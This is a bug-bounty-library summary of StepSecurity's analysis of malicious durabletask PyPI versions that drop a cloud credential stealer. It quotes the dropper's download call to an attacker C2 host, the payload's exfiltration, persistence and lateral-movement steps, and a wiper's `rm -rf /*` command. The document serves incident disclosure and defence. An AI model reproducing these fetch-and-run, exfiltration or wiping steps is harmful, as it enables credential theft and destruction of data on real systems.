# Microsoft's durabletask PyPI Package Compromised in Supply Chain Attack

Malicious durabletask PyPI versions dropped rope.pyz, a modular cloud credential stealer harvesting AWS/Azure/GCP/K8s secrets and spreading laterally via SSM and kubectl exec.

- Payout: Real-world hack
- Severity: critical
- Program: Microsoft
- Analysis by: StepSecurity
- Disclosed: 2026-06-09
- Write-up quality: 8/10
- Original: https://www.stepsecurity.io/blog/microsofts-durabletask-pypi-package-compromised-in-supply-chain-attack
- Library page: https://bugbountylibrary.com/r/blog%3Astepsecurity-io-blog-microsofts-durabletask-pypi-package-compromised-in-supply-chain-attack
- Tags: area:oss domain:oss impact:data-leak impact:internal-access kind:incident platform:threat-intel sev:critical tech:aws tech:kubernetes tech:python technique:source-review vuln:misconfiguration vuln:secrets-leak

**Target:** PyPI package durabletask (Azure Durable Functions Python SDK)
**Root cause:** Attacker obtained the real PyPI publishing token/maintainer credentials and uploaded versions 1.4.1-1.4.3 directly, bypassing the tag-triggered CI/CD pipeline (no Trusted Publishing/OIDC). Injected import-time dropper in __init__.py downloads and detaches rope.pyz.
**Steps:**
1. `pip install durabletask==1.4.3` (or 1.4.1/1.4.2) from PyPI
2. `python3 -c "import durabletask"` triggers injected code in `__init__.py`
3. Dropper checks `platform.system() == "Linux"`, then `urllib.request.urlretrieve("https://check.git-service.com/rope.pyz", "/tmp/managed.pyz")`
4. Spawns `python3 /tmp/managed.pyz` with `start_new_session=True`, stdout/stderr/stdin to `/dev/null`, wrapped in bare `except: pass`
5. Payload gates: exit if not Linux, if `LANG` starts with `ru`, or if `os.cpu_count() <= 2`
6. Seven ThreadPoolExecutor collectors harvest AWS (env, IMDSv2, ~/.aws), Azure (client secret/cert/CLI cache/IMDS), GCP (SA JSON, metadata), K8s (kubeconfig, mTLS via memfd_create), 99 filesystem paths, password managers, Vault
7. Data gzip+AES-256-GCM encrypted, key RSA-OAEP wrapped with hardcoded RSA-4096 pubkey
8. Exfil via POST to `check.git-service.com/api/public/version`, GitHub FIRESCALE beacons, and public repos created with stolen GitHub tokens
9. Persistence via fake `pgsql-monitor.service`; lateral movement via AWS SSM SendCommand and `kubectl exec` into up to 5 pods/instances
**How found:** StepSecurity installed the package in a Harden-Runner-monitored GitHub Actions workflow with the global blocklist disabled, capturing the process tree: import spawned four parallel /tmp/managed.pyz children performing pip install cryptography, systemctl daemon-reload, kubectl version, gpg --decrypt, and gh auth token. They then downloaded and reverse-engineered rope.pyz from the still-live C2.
**Exploitation:** Compromised PyPI token allowed direct upload of three backdoored versions within 35 minutes. Any Linux CI runner or server importing the package executes the dropper, which fetches rope.pyz from attacker C2 (domain registered 3 days prior, TLS issued same day) and runs it detached. Payload harvests cloud credentials, encrypts with RSA-wrapped AES key, exfiltrates redundantly, installs systemd persistence, and propagates to other EC2 instances via SSM and pods via kubectl exec. Geopolitically targeted wiper (roulette.py) executes `rm -rf /*` on Israeli systems with 1/6 probability.
**Escalation:** Lateral movement via AWS SSM SendCommand (AWS-RunShellScript) to up to 5 EC2 instances per profile and kubectl exec into up to 5 pods; marker files (~/.cache/.sys-update-check) prevent reinfection. Stolen GitHub tokens reused to create public exfil repos (BABA-YAGA, KOSCHEI, etc.).
**Insight:** Import-time droppers hide in `__init__.py` and spread across submodules in successive versions to guarantee execution regardless of which import path a consumer hits; monitor PyPI releases lacking matching GitHub tags and watch for `urlretrieve`+`Popen(start_new_session=True)` patterns in package init files.
